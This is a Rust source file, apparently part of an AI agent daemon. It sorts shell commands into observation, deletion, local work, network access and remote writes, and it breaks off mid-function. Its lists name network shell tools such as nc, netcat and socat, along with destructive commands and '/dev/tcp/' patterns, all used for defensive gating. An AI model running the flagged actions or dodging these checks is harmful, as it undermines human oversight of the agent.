1use crate::command_risk::structural_shell_invocations;
12use aidaemon_core::{CallEffects, EffectClass, EffectKey};
13
14#[derive(Debug, Clone, PartialEq, Eq)]
15pub struct CommandEffects {
16 pub observation_only: bool,
18 pub deletes: bool,
21 pub local_work_only: bool,
26 pub delete_targets: Option<Vec<String>>,
30 pub runs_project_code: bool,
38}
39
40const OBSERVATION_PROGRAMS: &[&str] = &[
45 "ls", "cat", "head", "tail", "wc", "grep", "egrep", "fgrep", "rg", "find", "stat", "file",
46 "pwd", "echo", "printf", "which", "whoami", "id", "uname", "date", "du", "df", "tree", "sort",
47 "uniq", "cut", "tr", "diff", "cmp", "basename", "dirname", "realpath", "readlink", "jq", "ps",
48 "hostname", "sw_vers", "true", "git", "test", "[", "sleep", "uptime", "sysctl", "top",
49];
50
51const SYSTEM_BIN_DIRS: &[&str] = &[
52 "/bin",
53 "/usr/bin",
54 "/usr/local/bin",
55 "/opt/homebrew/bin",
56 "/sbin",
57 "/usr/sbin",
58];
59
60const DELETE_PROGRAMS: &[&str] = &["rm", "rmdir", "unlink", "shred"];
61
62const LOCAL_WORK_PROGRAMS: &[&str] = &[
68 "make",
69 "cmake",
70 "ninja",
71 "pytest",
72 "rustc",
73 "xcodebuild",
74 "mkdir",
75 "touch",
76 "cp",
77 "mv",
78 "ln",
79 "chmod",
80 "cd",
81 "rm",
82 "rmdir",
83 "unlink",
84];
85
86const LOCAL_WORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
87 (
88 "cargo",
89 &[
90 "build", "check", "test", "clippy", "fmt", "run", "bench", "doc", "tree", "metadata",
91 ],
92 ),
93 (
94 "git",
95 &[
96 "add",
97 "commit",
98 "status",
99 "diff",
100 "log",
101 "show",
102 "branch",
103 "switch",
104 "checkout",
105 "restore",
106 "stash",
107 "merge",
108 "rebase",
109 "reset",
110 "tag",
111 "rm",
112 "mv",
113 "init",
114 "worktree",
115 "rev-parse",
116 "ls-files",
117 "blame",
118 ],
119 ),
120 ("npm", &["test", "run", "build", "lint"]),
121 ("pnpm", &["test", "run", "build", "lint"]),
122 ("yarn", &["test", "run", "build", "lint"]),
123 ("go", &["build", "test", "vet", "fmt", "run"]),
124 ("swift", &["build", "test"]),
125];
126
127const DDEV_QUERY_SUBCOMMANDS: &[&str] = &["describe", "status", "st", "list", "version", "logs"];
129
130const DDEV_TOOL_QUERIES: &[(&str, &str, &[&str])] = &[
134 ("wp", "core", &["is-installed", "version"]),
135 ("wp", "option", &["get", "list"]),
136 (
137 "wp",
138 "plugin",
139 &["list", "status", "is-installed", "is-active"],
140 ),
141 (
142 "wp",
143 "theme",
144 &["list", "status", "is-installed", "is-active"],
145 ),
146 ("wp", "user", &["list", "get"]),
147 ("wp", "post", &["list", "get"]),
148];
149
150const DRUSH_QUERIES: &[&str] = &["status", "st", "core:status", "core-status", "pm:list"];
152
153const DDEV_TOOL_CODE_OPTIONS: &[&str] = &["--exec", "--require", "--eval", "--include", "--ssh"];
155
156fn ddev_query_ok(args: &[String]) -> bool {
161 if args.iter().any(|arg| {
162 DDEV_TOOL_CODE_OPTIONS
163 .iter()
164 .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
165 }) {
166 return false;
167 }
168 let words: Vec<&str> = args
169 .iter()
170 .map(String::as_str)
171 .filter(|arg| !arg.starts_with('-'))
172 .collect();
173 match words.as_slice() {
174 [sub, ..] if DDEV_QUERY_SUBCOMMANDS.contains(sub) => true,
175 ["drush", command, ..] => DRUSH_QUERIES.contains(command),
176 [tool, command, sub, ..] => DDEV_TOOL_QUERIES
177 .iter()
178 .any(|(t, c, subs)| t == tool && c == command && subs.contains(sub)),
179 _ => false,
180 }
181}
182
183const FIND_MUTATING_FLAGS: &[&str] = &[
184 "-delete", "-exec", "-execdir", "-ok", "-okdir", "-fprint", "-fprint0", "-fprintf", "-fls",
185];
186
187const GIT_OBSERVATION_SUBCOMMANDS: &[&str] = &[
188 "status",
189 "log",
190 "diff",
191 "show",
192 "rev-parse",
193 "ls-files",
194 "blame",
195 "rev-list",
196];
197
198const WRAPPERS: &[&str] = &[
202 "sudo", "doas", "nice", "nohup", "timeout", "stdbuf", "time", "command", "exec", "xargs",
203 "env", "builtin", "ionice", "setsid", "{", "!", "if", "then", "else", "elif", "do", "while",
204 "until",
205];
206
207const NETWORK_PROGRAMS: &[&str] = &[
209 "curl",
210 "wget",
211 "http",
212 "https",
213 "xh",
214 "nc",
215 "ncat",
216 "netcat",
217 "telnet",
218 "ssh",
219 "scp",
220 "sftp",
221 "rsync",
222 "ftp",
223 "lftp",
224 "aria2c",
225 "gh",
226 "npx",
227 "bunx",
228 "uvx",
229 "svn",
230 "socat",
231 "ping",
232 "dig",
233 "host",
234 "nslookup",
235 "whois",
236 "tftp",
237 "mosh",
238 "rclone",
239 "aws",
240 "gcloud",
241 "kubectl",
242 "invoke-webrequest",
243];
244
245const POWERSHELL_OBSERVATIONS: &[&str] = &[
253 "get-content",
254 "gc",
255 "type",
256 "get-childitem",
257 "gci",
258 "dir",
259 "get-item",
260 "gi",
261 "get-itemproperty",
262 "gp",
263 "get-location",
264 "gl",
265 "test-path",
266 "resolve-path",
267 "rvpa",
268 "split-path",
269 "join-path",
270 "select-string",
271 "sls",
272 "get-date",
273 "get-process",
274 "gps",
275 "get-filehash",
276 "measure-object",
277 "measure",
278 "sort-object",
279 "select-object",
280 "select",
281 "compare-object",
282 "format-list",
283 "fl",
284 "format-table",
285 "ft",
286 "format-wide",
287 "fw",
288 "out-string",
289 "out-null",
290 "out-host",
291 "write-output",
292 "write",
293 "write-host",
294 "start-sleep",
295];
296
297const POWERSHELL_LOCAL_WORK: &[&str] = &[
301 "new-item",
302 "ni",
303 "md",
304 "set-content",
305 "sc",
306 "add-content",
307 "ac",
308 "out-file",
309 "copy-item",
310 "copy",
311 "cpi",
312 "move-item",
313 "move",
314 "mi",
315 "rename-item",
316 "ren",
317 "rni",
318 "set-location",
319 "sl",
320 "chdir",
321 "push-location",
322 "pushd",
323 "pop-location",
324 "popd",
325];
326
327const POWERSHELL_DELETES: &[&str] = &["remove-item", "ri", "del", "erase", "rd"];
330
331fn in_powershell_table(table: &[&str], program: &str) -> bool {
333 cfg!(windows) && table.iter().any(|name| name.eq_ignore_ascii_case(program))
334}
335
336fn powershell_args_plain(args: &[String]) -> bool {
338 !args
339 .iter()
340 .any(|arg| arg.contains(['{', '}', '$', '(', ')', '@', '`']))
341}
342
343fn is_powershell_observation(program: &str, args: &[String]) -> bool {
345 in_powershell_table(POWERSHELL_OBSERVATIONS, program) && powershell_args_plain(args)
346}
347
348fn is_program_observation(program: &str, args: &[String]) -> bool {
351 (OBSERVATION_PROGRAMS.contains(&program) && observation_args_ok(program, args))
352 || is_powershell_observation(program, args)
353}
354
355fn is_delete_program(program: &str) -> bool {
358 DELETE_PROGRAMS.contains(&program) || in_powershell_table(POWERSHELL_DELETES, program)
359}
360
361fn shell_text(command: &str) -> std::borrow::Cow<'_, str> {
366 if cfg!(windows) && command.contains('\\') {
367 std::borrow::Cow::Owned(command.replace('\\', "/"))
368 } else {
369 std::borrow::Cow::Borrowed(command)
370 }
371}
372
373const NETWORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
375 (
376 "git",
377 &[
378 "fetch",
379 "clone",
380 "pull",
381 "ls-remote",
382 "submodule",
383 "push",
384 "update",
385 ],
386 ),
387 (
388 "npm",
389 &[
390 "install", "add", "i", "ci", "exec", "update", "fetch", "search", "view", "info",
391 "publish",
392 ],
393 ),
394 (
395 "pnpm",
396 &[
397 "install", "add", "i", "dlx", "update", "fetch", "search", "view", "info", "publish",
398 ],
399 ),
400 (
401 "yarn",
402 &[
403 "install", "add", "i", "update", "fetch", "search", "view", "info", "publish",
404 ],
405 ),
406 ("pip", &["install", "download"]),
407 ("pip3", &["install", "download"]),
408 (
409 "cargo",
410 &[
411 "install", "add", "update", "fetch", "search", "view", "info", "publish",
412 ],
413 ),
414 ("bun", &["install", "add", "i"]),
415 ("uv", &["pip", "add", "sync"]),
416 ("brew", &["install", "update", "upgrade", "fetch"]),
417 ("go", &["get", "install", "download"]),
418 ("docker", &["pull", "run", "build", "push"]),
419 ("gem", &["install"]),
420 ("apt", &["install", "update"]),
421 ("apt-get", &["install", "update"]),
422 ("hg", &["pull", "clone"]),
423 ("openssl", &["s_client"]),
424];
425
426pub fn sends_remote_write(command: &str) -> bool {
432 expanded_commands(command).iter().any(|tokens| {
433 let args = &tokens[1..];
434 match basename(&tokens[0]) {
435 "curl" => curl_sends_write(args),
436 "wget" => wget_sends_write(args),
437 "git" => git_subcommand(args) == Some("push"),
438 _ => false,
439 }
440 })
441}
442
443fn writes_with_method(method: &str) -> bool {
444 !matches!(method.to_ascii_uppercase().as_str(), "GET" | "HEAD")
445}
446
447fn curl_sends_write(args: &[String]) -> bool {
448 let mut iter = args.iter();
449 while let Some(arg) = iter.next() {
450 if let Some(long) = arg.strip_prefix("--") {
451 let (name, inline) = match long.split_once('=') {
452 Some((name, value)) => (name, Some(value)),
453 None => (long, None),
454 };
455 if name == "request" {
456 let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
457 if method.is_none_or(|method| writes_with_method(&method)) {
458 return true;
459 }
460 } else if name.starts_with("data")
461 || name == "json"
462 || name.starts_with("form")
463 || name == "upload-file"
464 {
465 return true;
466 }
467 } else if let Some(cluster) = arg.strip_prefix('-').filter(|c| !c.is_empty()) {
468 for (at, c) in cluster.char_indices() {
470 match c {
471 'd' | 'F' | 'T' => return true,
472 'X' => {
473 let rest = &cluster[at + 1..];
474 let method = if rest.is_empty() {
475 iter.next().cloned()
476 } else {
477 Some(rest.to_string())
478 };
479 if method.is_none_or(|method| writes_with_method(&method)) {
480 return true;
481 }
482 break;
483 }
484 _ => {}
485 }
486 }
487 }
488 }
489 false
490}
491
492fn wget_sends_write(args: &[String]) -> bool {
493 let mut iter = args.iter();
494 while let Some(arg) = iter.next() {
495 let Some(long) = arg.strip_prefix("--") else {
496 continue;
497 };
498 let (name, inline) = match long.split_once('=') {
499 Some((name, value)) => (name, Some(value)),
500 None => (long, None),
501 };
502 match name {
503 "post-data" | "post-file" | "body-data" | "body-file" => return true,
504 "method" => {
505 let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
506 if method.is_none_or(|method| writes_with_method(&method)) {
507 return true;
508 }
509 }
510 _ => {}
511 }
512 }
513 false
514}
515
516fn git_subcommand(args: &[String]) -> Option<&str> {
519 let mut iter = args.iter();
520 while let Some(arg) = iter.next() {
521 if arg == "-C" || arg == "-c" {
522 iter.next();
523 } else if !arg.starts_with('-') {
524 return Some(arg);
525 }
526 }
527 None
528}
529
530pub fn fetches_network(command: &str) -> bool {
533 if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
534 return true;
535 }
536 expanded_commands(command).iter().any(|tokens| {
537 let program = basename(&tokens[0]);
538 let args = &tokens[1..];
539 if NETWORK_PROGRAMS.contains(&program) {
540 return true;
541 }
542 if program == "yarn" && args.iter().all(|arg| arg.starts_with('-')) {
543 return true;
544 }
545 if program == "git" {
546 let has = |word: &str| args.iter().any(|arg| arg == word);
547 if (has("remote") && has("update"))
548 || (has("archive") && args.iter().any(|arg| arg.starts_with("--remote")))
549 {
550 return true;
551 }
552 }
553 NETWORK_SUBCOMMANDS.iter().any(|(name, subs)| {
554 *name == program
555 && args
556 .iter()
557 .any(|arg| !arg.starts_with('-') && subs.contains(&arg.as_str()))
558 })
559 })
560}
561
562pub fn is_git_config_path(path: &str) -> bool {
574 let raw = path_components(path);
575 if raw.iter().any(|part| is_repo_config_component(part)) {
576 return true;
577 }
578 let expanded = expand_home(path);
579 let normalized = normalize_components(&path_components(&expanded));
580 if normalized.iter().any(|part| is_repo_config_component(part))
581 || normalized.windows(2).any(|pair| {
582 pair[0].eq_ignore_ascii_case(".config") && pair[1].eq_ignore_ascii_case("git")
583 })
584 {
585 return true;
586 }
587 let absolute = expanded.starts_with('/') || expanded.starts_with('\\');
588 if absolute
589 && normalized.len() == 2
590 && normalized[0].eq_ignore_ascii_case("etc")
591 && normalized[1].eq_ignore_ascii_case("gitconfig")
592 {
593 return true;
594 }
595 let under = |base: std::path::PathBuf| {
596 let base = normalize_components(&path_components(&base.to_string_lossy()));
597 absolute
598 && !base.is_empty()
599 && normalized.len() > base.len()
600 && normalized
601 .iter()
602 .zip(&base)
603 .all(|(a, b)| a.eq_ignore_ascii_case(b))
604 };
605 if dirs::home_dir().is_some_and(|home| under(home.join(".config").join("git"))) {
606 return true;
607 }
608 std::env::var_os("XDG_CONFIG_HOME")
609 .filter(|value| !value.is_empty())
610 .is_some_and(|xdg| under(std::path::PathBuf::from(xdg).join("git")))
611}
612
613fn path_components(path: &str) -> Vec<String> {
616 path.split(['/', '\\'])
617 .filter(|part| !part.is_empty())
618 .map(|part| {
619 if part == "." || part == ".." {
620 part.to_string()
621 } else {
622 part.trim_end_matches(['.', ' ']).to_string()
623 }
624 })
625 .filter(|part| !part.is_empty())
626 .collect()
627}
628
629fn normalize_components(parts: &[String]) -> Vec<String> {
630 let mut out: Vec<String> = Vec::new();
631 for part in parts {
632 match part.as_str() {
633 "." => {}
634 ".." => {
635 if out.last().is_some_and(|last| last != "..") {
636 out.pop();
637 } else {
638 out.push(part.clone());
639 }
640 }
641 _ => out.push(part.clone()),
642 }
643 }
644 out
645}
646
647fn is_repo_config_component(part: &str) -> bool {
648 [".git", ".gitattributes", ".gitmodules", ".gitconfig"]
649 .iter()
650 .any(|name| part.eq_ignore_ascii_case(name))
651}
652
653fn expand_home(path: &str) -> String {
654 let rest = ["~", "$HOME", "${HOME}"].iter().find_map(|prefix| {
655 path.strip_prefix(prefix)
656 .filter(|rest| rest.is_empty() || rest.starts_with(['/', '\\']))
657 });
658 match (rest, dirs::home_dir()) {
659 (Some(rest), Some(home)) => format!("{}{rest}", home.to_string_lossy()),
660 _ => path.to_string(),
661 }
662}
663
664pub fn root_holds_repository(root: &str, base: Option<&str>) -> bool {
668 let root = root.trim();
669 if root.is_empty() {
670 return false;
671 }
672 let mut path = std::path::PathBuf::from(expand_home(root));
673 if path.is_relative()
674 && let Some(base) = base.map(str::trim).filter(|base| !base.is_empty())
675 {
676 path = std::path::PathBuf::from(expand_home(base)).join(path);
677 }
678 path.join(".git").exists()
679}
680
681pub fn command_names_git_config_path(command: &str) -> bool {
685 names_git_config(command, 0)
686}
687
688fn names_git_config(command: &str, depth: usize) -> bool {
689 if depth > MAX_DEPTH {
690 return false;
691 }
692 let scanned = scan(command);
693 for segment in &scanned.segments {
694 let words = shell_words::split(segment)
695 .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
696 for word in words {
697 let target = word.trim_start_matches(|c: char| {
698 c.is_ascii_digit() || matches!(c, '>' | '<' | '&' | '|')
699 });
700 let operand = word.split_once('=').map(|(_, value)| value);
701 if [Some(word.as_str()), Some(target), operand]
702 .into_iter()
703 .flatten()
704 .any(|candidate| !candidate.is_empty() && is_git_config_path(candidate))
705 {
706 return true;
707 }
708 if word.contains(char::is_whitespace) && names_git_config(&word, depth + 1) {
709 return true;
710 }
711 }
712 }
713 substitution_bodies(command)
714 .iter()
715 .any(|body| names_git_config(body, depth + 1))
716}
717
718pub fn command_effects(command: &str) -> CommandEffects {
719 let deletes = command.contains("$'")
722 || expanded_commands(command).iter().any(|tokens| {
723 let program = basename(&tokens[0]);
724 let args = &tokens[1..];
725 is_delete_program(program)
726 || (program == "find" && args.iter().any(|arg| arg == "-delete"))
727 || (program == "git" && args.iter().any(|arg| arg == "clean"))
728 });
729 CommandEffects {
730 observation_only: is_observation_only(command),
731 deletes,
732 local_work_only: is_local_work_only(command),
733 runs_project_code: command.contains("$'")
734 || expanded_commands(command)
735 .iter()
736 .any(|tokens| runs_project_code(basename(&tokens[0]), &tokens[1..])),
737 delete_targets: if command.contains("$'") {
738 None
739 } else {
740 delete_targets(command)
741 },
742 }
743}
744
745fn delete_targets(command: &str) -> Option<Vec<String>> {
753 let unreadable = |target: &str| {
754 target.is_empty() || target.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
755 };
756 let commands = expanded_commands(command);
757 let changes_directory = commands
758 .iter()
759 .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
760 let mut targets: Vec<String> = Vec::new();
761 for tokens in &commands {
762 let program = basename(&tokens[0]);
763 let args = &tokens[1..];
764 let named: Vec<&String> = if is_delete_program(program) {
765 let mut options_done = false;
766 args.iter()
767 .filter(|arg| {
768 if options_done {
769 return true;
770 }
771 if arg.as_str() == "--" {
772 options_done = true;
773 return false;
774 }
775 !arg.starts_with('-')
776 })
777 .collect()
778 } else if program == "find" && args.iter().any(|arg| arg == "-delete") {
779 if args.first().is_none_or(|arg| arg.starts_with('-')) {
783 return None;
784 }
785 args.iter()
786 .take_while(|arg| !arg.starts_with(['-', '(', '!']))
787 .collect()
788 } else if program == "git" && args.iter().any(|arg| arg == "clean") {
789 return None;
790 } else {
791 continue;
792 };
793 if named.is_empty() || named.iter().any(|target| unreadable(target)) {
794 return None;
795 }
796 if changes_directory
797 && named
798 .iter()
799 .any(|target| !crate::BackendPath::is_absolute(target))
800 {
801 return None;
802 }
803 for target in named {
804 if !targets.contains(target) {
805 targets.push(target.clone());
806 }
807 }
808 }
809 Some(targets)
810}
811
812pub fn path_operands(command: &str) -> Option<Vec<String>> {
821 if command.contains("$'") {
822 return None;
823 }
824 let unreadable = |operand: &str| {
825 let rest = operand
826 .strip_prefix("~/")
827 .or_else(|| (operand == "~").then_some(""))
828 .unwrap_or(operand);
829 rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
830 };
831 let commands = expanded_commands(command);
832 let mut operands: Vec<String> = Vec::new();
833 for line in command.replace("\\\n", " ").split('\n') {
835 for target in scan(line).input_targets {
836 if unreadable(&target) || target.contains(['"', '\'']) {
837 return None;
838 }
839 if !operands.contains(&target) {
840 operands.push(target);
841 }
842 }
843 }
844 for tokens in &commands {
845 if matches!(
848 basename(&tokens[0]),
849 "cd" | "pushd" | "popd" | "xargs" | "parallel"
850 ) {
851 return None;
852 }
853 let mut options_done = false;
854 for arg in &tokens[1..] {
855 let operand = if options_done || !arg.starts_with('-') {
856 arg.as_str()
857 } else if arg == "--" {
858 options_done = true;
859 continue;
860 } else if let Some((_, value)) = arg.split_once('=') {
861 value
862 } else if arg.contains(['/', '~']) {
863 return None;
864 } else {
865 continue;
866 };
867 if operand.is_empty() {
868 continue;
869 }
870 if unreadable(operand) {
871 return None;
872 }
873 if !operands.iter().any(|known| known == operand) {
874 operands.push(operand.to_string());
875 }
876 }
877 }
878 Some(operands)
879}
880
881pub fn literal_path_operands(command: &str) -> Vec<String> {
888 let literal = |operand: &str| {
889 let rest = operand
890 .strip_prefix("~/")
891 .or_else(|| (operand == "~").then_some(""))
892 .unwrap_or(operand);
893 !operand.is_empty()
894 && !rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~', '"', '\''])
895 };
896 let commands = expanded_commands(command);
897 let moves = commands.iter().any(|tokens| {
898 tokens
899 .first()
900 .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
901 });
902 let mut operands: Vec<String> = Vec::new();
903 let mut add = |operand: &str| {
904 let anchored =
905 crate::BackendPath::is_absolute(operand) || operand == "~" || operand.starts_with("~/");
906 if literal(operand)
907 && (anchored || !moves)
908 && !operands.iter().any(|known| known == operand)
909 {
910 operands.push(operand.to_string());
911 }
912 };
913 for line in command.replace("\\\n", " ").split('\n') {
914 for target in scan(line).input_targets {
915 add(&target);
916 }
917 }
918 for tokens in &commands {
919 let mut options_done = false;
920 for arg in tokens.iter().skip(1) {
921 if options_done || !arg.starts_with('-') {
922 add(arg);
923 } else if arg == "--" {
924 options_done = true;
925 } else if let Some((_, value)) = arg.split_once('=') {
926 add(value);
927 }
928 }
929 }
930 operands
931}
932
933const PROJECT_CODE_RUNNERS: &[(&str, &[&str])] = &[
937 ("make", &[]),
938 ("gmake", &[]),
939 ("cmake", &[]),
940 ("ninja", &[]),
941 ("pytest", &[]),
942 ("tox", &[]),
943 ("nox", &[]),
944 ("xcodebuild", &[]),
945 ("gradle", &[]),
946 ("gradlew", &[]),
947 ("mvn", &[]),
948 ("rake", &[]),
949 ("python", &[]),
950 ("python3", &[]),
951 ("node", &[]),
952 ("deno", &[]),
953 ("bun", &[]),
954 ("ruby", &[]),
955 ("perl", &[]),
956 ("php", &[]),
957 (
958 "cargo",
959 &[
960 "build", "b", "check", "c", "test", "t", "clippy", "run", "r", "bench", "doc", "d",
961 "install",
962 ],
963 ),
964 (
965 "npm",
966 &[
967 "test",
968 "t",
969 "run",
970 "run-script",
971 "build",
972 "lint",
973 "start",
974 "install",
975 "i",
976 "ci",
977 "exec",
978 "x",
979 ],
980 ),
981 (
982 "pnpm",
983 &[
984 "test", "t", "run", "build", "lint", "start", "install", "i", "exec", "dlx",
985 ],
986 ),
987 (
988 "yarn",
989 &["test", "run", "build", "lint", "start", "install"],
990 ),
991 ("npx", &[]),
992 ("go", &["test", "run", "generate"]),
993 ("swift", &["build", "test", "run"]),
994];
995
996pub fn runs_project_code_of(program: &str, subcommand: Option<&str>) -> bool {
1000 let args: Vec<String> = subcommand.map(str::to_string).into_iter().collect();
1001 runs_project_code(program, &args)
1002}
1003
1004fn runs_project_code(program: &str, args: &[String]) -> bool {
1007 let program = program.strip_suffix(".exe").unwrap_or(program);
1008 let Some((_, subcommands)) = PROJECT_CODE_RUNNERS
1009 .iter()
1010 .find(|(name, _)| *name == program)
1011 else {
1012 return false;
1013 };
1014 if subcommands.is_empty() {
1015 return true;
1016 }
1017 args.iter()
1019 .map(String::as_str)
1020 .find(|arg| !arg.starts_with('-') && !arg.starts_with('+'))
1021 .is_none_or(|subcommand| subcommands.contains(&subcommand))
1022}
1023
1024fn is_local_work_only(command: &str) -> bool {
1025 every_segment(command, &local_work_args_ok)
1026}
1027
1028pub fn reaches_only_this_computer(command: &str) -> bool {
1039 if sends_remote_write(command) {
1040 return false;
1041 }
1042 every_segment(command, &|program, args| match program {
1043 "cd" => true,
1044 "ddev" => ddev_query_ok(args),
1045 "curl" | "wget" => reads_only_local_sites(program, args),
1046 _ => is_program_observation(program, args),
1047 })
1048}
1049
1050const DDEV_TOOL_CODE_COMMANDS: &[(&str, &str)] = &[
1053 ("drush", "php:eval"),
1054 ("drush", "php-eval"),
1055 ("drush", "eval"),
1056 ("drush", "ev"),
1057 ("drush", "php:script"),
1058 ("drush", "php-script"),
1059 ("drush", "scr"),
1060 ("drush", "php"),
1061 ("drush", "php:cli"),
1062 ("drush", "core:cli"),
1063 ("drush", "cli"),
1064 ("wp", "eval"),
1065 ("wp", "eval-file"),
1066 ("wp", "shell"),
1067];
1068
1069pub fn acts_on_its_ddev_project(command: &str) -> bool {
1079 if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1080 {
1081 return false;
1082 }
1083 every_segment(command, &|program, args| {
1084 program == "ddev"
1085 && !args.iter().any(|arg| {
1086 arg.contains("://")
1087 || DDEV_TOOL_CODE_OPTIONS
1088 .iter()
1089 .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
1090 })
1091 && match args
1092 .iter()
1093 .map(String::as_str)
1094 .filter(|arg| !arg.starts_with('-'))
1095 .collect::<Vec<_>>()
1096 .as_slice()
1097 {
1098 [tool @ ("drush" | "wp"), command, ..] => !DDEV_TOOL_CODE_COMMANDS
1099 .iter()
1100 .any(|(t, c)| t == tool && c == command),
1101 _ => false,
1102 }
1103 })
1104}
1105
1106pub fn only_reads_this_computer(command: &str) -> bool {
1114 if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1115 {
1116 return false;
1117 }
1118 every_segment(command, &|program, args| match program {
1119 "cd" => true,
1120 "ddev" => ddev_query_ok(args),
1121 "curl" => !curl_saves_files(args) && reads_only_local_sites(program, args),
1122 _ => is_program_observation(program, args),
1123 })
1124}
1125
1126pub fn only_reads(command: &str) -> bool {
1132 if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1133 {
1134 return false;
1135 }
1136 every_segment(command, &|program, args| match program {
1137 "cd" => true,
1138 "ddev" => ddev_query_ok(args),
1139 "curl" => !curl_saves_files(args),
1140 _ => is_program_observation(program, args),
1141 })
1142}
1143
1144pub fn remote_inner_only_reads(command: &str) -> Option<bool> {
1152 remote_inner_script(command).map(|inner| only_reads(&inner))
1153}
1154
1155pub fn recognizably_changes(command: &str) -> bool {
1163 let text = remote_inner_script(command).unwrap_or_else(|| command.to_string());
1164 if command_effects(&text).deletes || scan(&text).writes_file || sends_remote_write(&text) {
1165 return true;
1166 }
1167 expanded_commands(&text).iter().any(|tokens| {
1168 let args = &tokens[1..];
1169 match basename(&tokens[0]) {
1170 "mkdir" | "touch" | "cp" | "mv" | "ln" | "chmod" | "chown" | "tee" | "install"
1171 | "patch" | "truncate" => true,
1172 "sed" => args
1173 .iter()
1174 .any(|arg| arg.starts_with("-i") || arg == "--in-place"),
1175 "apt" | "apt-get" | "yum" | "dnf" | "pip" | "pip3" | "npm" | "pnpm" | "yarn"
1176 | "gem" | "brew" => args.iter().any(|arg| arg == "install" || arg == "add"),
1177 "apk" => args.iter().any(|arg| arg == "add"),
1178 "git" => matches!(
1179 git_subcommand(args),
1180 Some("commit" | "add" | "apply" | "checkout" | "switch" | "merge" | "init")
1181 ),
1182 _ => false,
1183 }
1184 })
1185}
1186
1187fn remote_inner_script(command: &str) -> Option<String> {
1189 let segments: Vec<String> = scan(command)
1190 .segments
1191 .into_iter()
1192 .filter(|segment| !segment.trim().is_empty())
1193 .collect();
1194 let [segment] = segments.as_slice() else {
1195 return None;
1196 };
1197 let tokens = shell_words::split(segment).ok()?;
1198 let program = basename(tokens.first()?);
1199 let second = tokens.get(1).map(String::as_str);
1200 let third = tokens.get(2).map(String::as_str);
1201 let (start, valued): (usize, &[&str]) = match program {
1203 "docker" | "podman" if tokens.get(1).map(String::as_str) == Some("exec") => (
1204 2,
1205 &[
1206 "-e",
1207 "--env",
1208 "-u",
1209 "--user",
1210 "-w",
1211 "--workdir",
1212 "--env-file",
1213 ],
1214 ),
1215 "docker" | "podman" if second == Some("compose") && third == Some("exec") => (
1217 3,
1218 &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
1219 ),
1220 "docker-compose" | "podman-compose" if second == Some("exec") => (
1221 2,
1222 &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
1223 ),
1224 "lxc" | "incus" if second == Some("exec") => {
1226 let dash = tokens.iter().position(|token| token == "--")?;
1227 return inner_text(&tokens[dash + 1..]);
1228 }
1229 "vagrant" if second == Some("ssh") => {
1231 let flag = tokens
1232 .iter()
1233 .position(|token| token == "-c" || token == "--command")?;
1234 return tokens.get(flag + 1).cloned();
1235 }
1236 "gcloud" if second == Some("compute") && third == Some("ssh") => {
1238 return tokens.iter().enumerate().find_map(|(index, token)| {
1239 if token == "--command" {
1240 tokens.get(index + 1).cloned()
1241 } else {
1242 token.strip_prefix("--command=").map(str::to_string)
1243 }
1244 });
1245 }
1246 "kubectl" if tokens.get(1).map(String::as_str) == Some("exec") => {
1247 let dash = tokens.iter().position(|token| token == "--")?;
1248 return inner_text(&tokens[dash + 1..]);
1249 }
1250 "ssh" => (
1251 1,
1252 &[
1253 "-p", "-i", "-l", "-o", "-F", "-J", "-b", "-c", "-D", "-E", "-L", "-R", "-W", "-m",
1254 "-O", "-Q", "-S", "-w",
1255 ],
1256 ),
1257 _ => return None,
1258 };
1259 let mut index = start;
1260 while let Some(token) = tokens.get(index) {
1261 if token == "--" {
1262 index += 1;
1263 break;
1264 }
1265 if !token.starts_with('-') {
1266 break;
1267 }
1268 index += if valued.contains(&token.as_str()) {
1269 2
1270 } else {
1271 1
1272 };
1273 }
1274 let rest = tokens.get(index + 1..)?;
1275 if program == "ssh" {
1278 return (!rest.is_empty()).then(|| rest.join(" "));
1279 }
1280 inner_text(rest)
1282}
1283
1284fn inner_text(tokens: &[String]) -> Option<String> {
1287 let first = tokens.first()?;
1288 if matches!(basename(first), "sh" | "bash" | "zsh" | "dash" | "ash") {
1289 let flag = tokens[1..].iter().position(|token| {
1290 token.starts_with('-') && !token.starts_with("--") && token.contains('c')
1291 })?;
1292 return tokens.get(flag + 2).cloned();
1293 }
1294 Some(shell_words::join(tokens))
1295}
1296
1297fn curl_saves_files(args: &[String]) -> bool {
1300 const LONG: &[&str] = &[
1301 "--output",
1302 "--remote-name",
1303 "--remote-name-all",
1304 "--dump-header",
1305 "--cookie-jar",
1306 "--trace",
1307 "--trace-ascii",
1308 "--stderr",
1309 "--libcurl",
1310 "--etag-save",
1311 "--hsts",
1312 "--alt-svc",
1313 "--create-dirs",
1314 "--output-dir",
1315 ];
1316 let to_null = |value: Option<&String>| value.is_some_and(|value| value == "/dev/null");
1317 args.iter().enumerate().any(|(index, arg)| {
1318 let next = args.get(index + 1);
1319 if arg == "--output" || arg == "-o" {
1320 return !to_null(next);
1321 }
1322 if let Some(value) = arg.strip_prefix("--output=") {
1323 return value != "/dev/null";
1324 }
1325 if LONG
1326 .iter()
1327 .any(|option| arg == *option || arg.starts_with(&format!("{option}=")))
1328 {
1329 return true;
1330 }
1331 if short_cluster_has(arg, &['O', 'D', 'c']) {
1332 return true;
1333 }
1334 if arg.starts_with('-')
1337 && !arg.starts_with("--")
1338 && let Some(at) = arg.find('o')
1339 {
1340 return if at + 1 == arg.len() {
1341 !to_null(next)
1342 } else {
1343 &arg[at + 1..] != "/dev/null"
1344 };
1345 }
1346 false
1347 })
1348}
1349
1350pub fn program_label(command: &str) -> String {
1354 let first = scan(command)
1356 .segments
1357 .into_iter()
1358 .filter_map(|segment| shell_words::split(&segment).ok())
